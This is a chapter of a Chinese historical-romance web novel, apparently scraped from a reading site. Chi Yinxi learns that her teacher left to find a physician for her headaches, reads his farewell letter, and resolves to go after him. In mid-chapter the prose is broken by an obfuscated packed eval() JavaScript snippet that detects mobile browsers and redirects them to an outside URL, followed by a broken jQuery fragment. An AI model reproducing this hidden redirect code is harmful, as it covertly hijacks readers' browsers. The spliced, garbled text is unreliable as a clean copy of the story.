36. 036

作品:《大小姐她不想

    “昭昭……”清越抿嘴,冲池音希讨好笑笑,“其实也没什么好说的,不是什么事儿。”


    “嗯。”池音希笑着,微微抬了抬下巴,示意她继续。


    “时间这么久了,我也记不太清了……”


    清越的眼神飘向了窗外,她清了清嗓子,小声说道:“只记得当时你头疾犯了,珍品阁的事务都交由我处理。石掌柜寄信说了账本的事。我不想打扰你养病,就去找了韩先生。”


    她顿了顿,声音更小了:“韩先生便跟我去了珍品阁,将账本从记录到计算种种方面革新。那段时间,他日夜帮忙处理珍品阁大小事务,事无巨细。事后,他说不必拿这些小事打扰你,没让我说。”


    她飞快瞟了眼池音希:“我想着的确如此,也就没说。”


    室内陷入寂静,清越皱了皱鼻头,伸手握住池音希的手轻轻晃了晃,不熟练地撒着娇:


    “昭昭……我不是有意瞒你的。莫生气莫生气嘛……”


    池音希没有动。


    她任由清越逛着自己的手,脸上的笑意早已消失,那双杏眼,也缓缓阖上了。


    那段时间……


    脑中翻飞,记忆清晰涌现出来。


    确实如清越所说。


    可是,不止。


    先生与清越向来光明磊落,若真完全如此,他们何必瞒她?


    那石伯寄来的信,她头疾缓解后看过。


    信上确实只说了账本的事,说是账目繁杂,人手不足,请阁主定夺。再无别的话。


    除非……


    “清越。”


    池音希蓦地睁开眼,侧头看向她:“我记得石伯那次寄信,还说他新添了两个记账的可靠之人,让我定夺?”


    闻言,清越睁大了眼,面露疑惑:“啊?没有啊,当时那封信就说了账本的事。新增的人手是之后的事了。你记错……”


    清越突然顿住,眼中闪过一丝懊恼。


    “这样啊……”池音希颔首,忽地笑了,“清越何必谦虚,这不是记得很清楚吗?”


    她看着清越,声音低了下来:“那次石伯一共寄来了几封信?”


    清越闻言,声量大了许多,几乎是抢着回道:“就一封信啊,昭昭你不是也看过了!”


    “你同先生,”池音希嘴角的笑意加深,她缓缓开口,语气笃定,“那时便知道我头疾的真相了。”


    她没再去看清越瞬间僵住的表情,只缓缓垂下了眸子。


    她确实幸运,十岁想开铺子,十一岁便救了石通海。


    石通海是商人不假,但他做的是江湖生意,走南闯北。被当时的同行算计后,池音希暗地助他复起,条件是……


    助她寻一位可治头疾的大夫。


    她的头疾,是从十岁开始加重。或者说,开始。


    十岁之前,她也会头疼,可那时疼得轻微,只是偶尔一阵,半年也发作不了一次。


    而十岁时,就在她抱着先生说想要开个铺子时,她才意识到她的头开始疼了。


    或许就是那一刻开始,也或许更早,那疼便如影随形,再未离开。


    可只要没疼晕,她便忍着。


    那时的她不愿告诉任何人,包括先生。


    可十岁的她,也承受不住这般折磨。


    她私下看了许多洛阳名医,无人有医治之法。


    救了石通海后,她想着江湖中能人异士甚多,便让石通海打探一下消息,只需暗中留意,不要惊动任何人。


    然而,石通海找了五年亦无所获。


    及笄那年,她早已习惯了那疼,便告诉石通海不必再特意去寻神医,顺其自然就好。


    及笄……三年前……


    石通海确实找不到。


    可清越……还有她背后的无极山庄……


    池音希缓缓抬起眼,看向了清越。


    “昭昭!”


    对上她的眼神,清越攥着她的手蓦地用力,又陡然松开了:“那个……在那封信来得前一天,也就是你刚犯头疾晕过去的第二天,确实有一封石掌柜寄来的密信,向你汇报近三月依旧无相关大夫的消息。”


    “韩先生……”清越的眼眶逐渐泛红:“他一眼便瞧出了端倪。”


    “于是,韩先生便在你情况稳定后来了珍品阁,他问了石掌柜几句闲话,就什么都套出来了。我们这才知道……你、你……”


    清越不忍再说下去,只道:“昭昭,不要生我的气。”


    她的声音带上了哭腔:“韩先生不让我说,我也怕你多想,就、就没说。”


    听罢,池音希站了起来,她走至清越面前,弯下腰,抬手揉了揉她的头。


    “好了,”她的声音很轻,飘在空中:“没有怪你。我知道,你和先生是关心我。”


    “清越,”池音希的手缓缓从她头上滑落,撑在了她的肩上,眼神晦暗了下来,“你是不是有了大夫的消息?”


    她看着清越,杏眼中似有涟漪泛起。


    “先生……”她的语速快了些许,却带着滞涩,“你是不是知道先生的去处?”


    清越飞速地眨了几下眼,不敢隐瞒:“我夺回无极山庄后,立马便派人去寻神医谷的踪迹。”


    “江湖上,我无极山庄、百花宫、神医谷,并为三大门派。可这神医谷神秘至极,无人知晓去处。只偶尔听闻会有弟子出来行医,却也踪迹诡魅,连外貌都无人知晓。”


    “幸而我三大门派之间偶有交际。就在前几月,韩先生助我探得了……神医谷每年会有十日敞开山门,只迎有缘者。”


    清越闭上了眼,不敢再看池音希。


    “韩先生、韩先生他大抵便是去了那里。”


    “哪里?可有危险?”池音希脑中蓦地空白,只下意识追问道。


    “我也只是知神医谷大致方位,至于韩先生是否去了,又是否找到了?我真的不知道。”


    感觉到撑着自己肩上的手在发抖,清越立刻抬手扶住了。


    抬手间,清越看到了池音希的长睫颤着,脸上根本无半分血色,就连唇色都是发白的。


    那脸上的慌张,是清越从未见过的。


    “原来如此。”池音希蓦地闭上眼,遮住了眼中的波澜。


    怪不得,怪不得先生早就计划离开。


    竟是为了自己……


    先生清雅绝尘,吃穿用度也得处处精细……


    江湖险恶,他岂能适应?


    一瞬间,她只觉天旋地转,脚下仿佛踩在了棉花上。


    她身子微微一晃,便要向后倒去。


    “昭昭!”


    清越攥紧了她的手臂,慌忙起身,将她扶至椅子上坐好。


    清越蹲下身,仰头看着池音希,急声道:“昭昭放心,韩先生不简单,他身边的方林也不简单。”


    “我也拍了人保护韩先生,不会有危险的。”


    “昭昭,你要信我,更要信韩先生自有分寸。”清越扶着她的手臂,正色道。


    池音希看不清清越的脸,她的眼前一片模糊,似有什么东西要撕烂皮肉,从她的额角跳出来。


    她不能晕。


    池音希深吸一口气,艰难地眨了眨眼,刚刚涌上来头疼,竟真的听话退去了大半。


    她盯着清越,声音已没了力气:“神医谷的大致方位,在哪儿?”


    “定海州!在定海州!”清越彻底慌了,几乎是喊出来,“昭昭,别哭,你别哭……”


    哭?


    池音希微微一怔,这才察觉泪已沉甸甸坠在下睫上。


    她没在意,只喃喃道:“定海州……是在明州旁边。”


    话音刚落,她挣开了清越的手,猛地站起来。


    光下,泪随之滑成刺眼的弧度。


    池音希疾步朝门口走去:“今日便出发,去定海。”


    “那楚州和明州呢?”


    “楚州的水患,明州的蹊跷……你都不管了?”


    闻言,池音希的脚步顿住了。


    下一瞬,她转身朝清越看去:“那些都没有先生重要。”


    池音希笑了,嘴角的笑意带着奇异的萎靡,可那双眼却亮得惊人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216411|195082||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “清越,”她的声音很轻,“你不懂我。”


    “我可从不是什么光风霁月之人。”


    “我所求一切,都是为了自己。百姓、民生……不过是与我的计划相辅相成,我才顺带着他们。”


    “对我来说,最重要的是我。”她顿了顿,语气温柔下来,“还有先生。”


    说罢,她转身,手已扶上了房门,刚要推开……


    “池音希!你冷静点!”


    清越的声音突然在她身后响起:“韩先生给你留了信!看后,你再做决定,可好?”


    ……


    “昭昭……”远远看到池音希来了,玄奉戈的眼睛倏地亮了,立刻脚底生风,几乎是飞了过去。


    突然被人挡住,池音希抬头,对玄奉戈笑了笑,声音温柔,语速却很快:“阿奉,我有些急事,等等再来找你。”


    说着,她侧身越过他,步履匆匆朝书房方向去了。


    玄奉戈没动,依旧站在原地。


    他定定看着她走远,脸上的笑意一点点凝固了,眼中的墨色瞬间漫上来,逐渐汹涌。


    四周空无一人,高悬的烈阳将他的影子拉得很长,孤零零躺在地上。


    “让左咏歌备着药。”


    他蓦地开口,声音很沉:“还有,让芷汀过来。”


    暗处有人轻轻应了一声,便再无动静了。


    书房。


    池音希看着手中的信,面色平静。


    可那信纸,却在微微抖着。


    信上那苍劲有力的墨迹,是她最熟悉的。


    【爱徒知微如晤:


    知微聪慧,师父瞒不过你。为师有私,先当谢罪。


    然你瞒疾不言,为师得知,心中痛甚。你亦有过。


    过过相抵,两不追究,可好?


    莫忧,亦莫愧。


    洛阳本非我久留之地,此番离开,一为寄情山水,二方为寻访神医。


    切莫寻我,你自有路行。


    吾心有度,知微,信我。


    书未尽,候面叙。】


    短短百余字,她看了许久,久到天色已经暗了下来。


    池音希闭上眼,两滴泪水从脸颊缓缓滑下,她下意识急急挪开了信纸,泪水溅在了桌上。


    先生……


    你有何私?又有何罪?


    是她之过。


    她不该瞒着先生,更不该让先生替她涉险。


    她如何不忧,如何不愧?


    ……她的路?


    池音希突然笑了,泪水缓缓褪却,只余眼角淡淡红意。


    “你的人可保先生平安?”池音希蓦地抬眼,开口问道。


    见她冷静下来,清越松了一口气,立刻回道:“是。昭昭,放心,韩先生不会有事。”


    “神医谷的人虽性子大多古怪,却也是医治仁心,不会故意为难。他们若不想出诊,顶多让人速速离开。再不会有其他动作。”


    “嗯,如此便好。”


    池音希闻言,将信缓缓收好,锁在了木匣中。


    先生,知微会听话。


    可是……


    定海就在明州旁边,合该我去寻你。


    心绪平复后,她转头看向清越,说道:“清越,多谢你。”


    “天色已晚,你先回去休息吧。”


    清越有些犹豫,坐在椅子上没动:“昭昭,我陪着你吧……”


    “我真的没事了。”池音希朝她笑了笑,带着安抚,“你先回去吧。”


    “况且,我也要回院了,玄奉戈等着我呢。”


    清越闻言,这才点了点头,起身朝门口走去。


    她走到门边,抬手打开了书房的门。


    门开的瞬间,清越毫不意外地看了眼玄奉戈。


    她只看了一眼,便收回目光,疾步离去了。


    一门之隔,两两相望。


    池音希坐在椅上,对上了玄奉戈比夜还深的眼。


    玄奉戈就站在门外的不远处,是正巧听不到屋内动静的位置。


    不知已站了多久。